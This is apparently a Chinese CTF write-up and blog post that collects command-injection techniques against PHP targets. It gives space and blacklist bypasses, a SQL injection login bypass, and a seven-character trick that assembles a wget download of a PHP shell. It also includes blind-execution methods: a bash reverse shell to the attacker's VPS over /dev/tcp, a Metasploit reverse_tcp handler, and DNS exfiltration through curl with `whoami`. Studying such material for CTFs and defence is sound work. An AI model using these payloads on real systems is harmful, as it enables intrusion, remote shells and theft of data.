If you can take it, you can make it.
緣起lemon師傅在安全客裡發表的一篇文章,總結的很詳細,學到了很多姿勢。但是在此我還想畫蛇添足的做一些補充及解釋。補充一下命令執行的漏洞。
空格繞過
<
符號
%09
符號需要php環境,這裡就不搭建啦,見諒)
$IFS$9
符號${IFS}
符號
這裡解釋一下${IFS},$IFS,$IFS$9的區別,首先$IFS在linux下表示分隔符,然而我本地實驗卻會發生這種情況,這裡解釋一下,單純的cat$IFS2,bash直譯器會把整個IFS2當做變數名,所以導致輸不出來結果,然而如果加一個{}就固定了變數名,同理在後面加個$可以起到截斷的作用,但是為什麼要用$9呢,因為$9只是當前系統shell程序的第九個引數的持有者,它始終為空字串。
命令分隔符這裡介紹5種姿勢
%0a
符號
換行符%0d
符號
回車符;
符號
在 shell 中,擔任”連續指令”功能的符號就是”分號”&
符號
& 放在啟動引數後面表示設定此程序為後臺程序,預設情況下,程序是前臺程序,這時就把Shell給佔據了,我們無法進行其他操作,對於那些沒有互動的程序,很多時候,我們希望將其在後臺啟動,可以在啟動引數的時候加一個’&’實現這個目的。程序切換到後臺的時候,我們把它稱為job。切換到後臺時會輸出相關job資訊,這裡36210就是該程序的PID|
符號
管道符左邊命令的輸出就會作為管道符右邊命令的輸入,所以左邊的輸出並不顯示
命令終止符
%00
%20#
(需要php環境,這裡就不搭建啦,見諒)
黑名單繞過
a=l;b=s;$a$b
base64編碼
無回顯的命令執行
這裡第一步先用
username=0' union select 1,md5(1)#
password=1
繞過,就可以到命令執行介面然而嘗試一下發現沒有回顯這裡有3種方法
第一種是利用bash命令並在本地進行nc監聽結果查看回連日誌,然後就行
先在vps處用nc進行監聽
nc -l -p 8080 -vvv
然後在靶機命令執行處輸入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1
第二種是msf反向回連
同樣vps用msf監聽
vps的msf監聽:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
然後在靶機命令執行處輸入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>&1
即可getflag
第三種是利用DNS管道解析
這裡提供一個線上網址,可以直接進行給一個利用網址:admin.dnslog.link註冊一個賬號後會分配一個子域名可以利用
|curl `whoami`.xxxx.xxx(子域名)
這樣就會在利用網址看到反彈結果。(這裡也不演示了,賬號忘記了。。。)這裡解釋一下\
whoami\
因為`反引號在linux下是執行命令的特殊符號,原理請見:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ
七個字的命令執行
這題是p總在小密圈發表的一篇文章,當時沒有做出來,這題是利用重新命名檔案繞過的,所以可以這樣進行呼叫,因為限制了命令的長度,所以無法直接構造,只能通過檔案構造
這裡先介紹一下小技巧,linux下建立檔案的命令可以用1>1建立檔名為1的空檔案
進一步fuzz發現a>1居然也可以,雖然會報錯,但是還是可以建立空檔案。
ls>1可以直接把把ls的內容匯入一個檔案中,但是會預設追加\n。有了這個基礎,我們再來看這道題
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
簡單的程式碼,可以利用
1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a
這裡注意.不能作為檔名的開頭,因為linux下.是隱藏檔案的開頭,ls列不出來
然而這裡還有個問題,就是ls下的檔名是按照字母順序排序的,所以需要基於時間排序
ls -t>a
網路地址轉化為數字地址
網路地址有另外一種表示形式,就是數字地址比如127.0.0.1可以轉化為2130706433
可以直接訪問
http://2130706433
或者
http://0x7F000001
GCTF RCE
這題過濾了很多東西,下面說一下比較重要的
||&|;|%{}| |''|.|
這裡給個payload
%0acat%09
%0Acat$IFS$9
%0acat<
用%0a繞過curl然後在從我前面繞過空格的payload中隨便挑一個沒有過濾的
最後總結一下,做命令執行的題首要的是尋找命令執行的點,然後去猜測他的後臺語句是如何構造的,過濾了哪些,還剩哪些可以用,這樣一個一個排除,最後大都能找出payload最後文末順便附上本菜雞的部落格:http://pupiles.com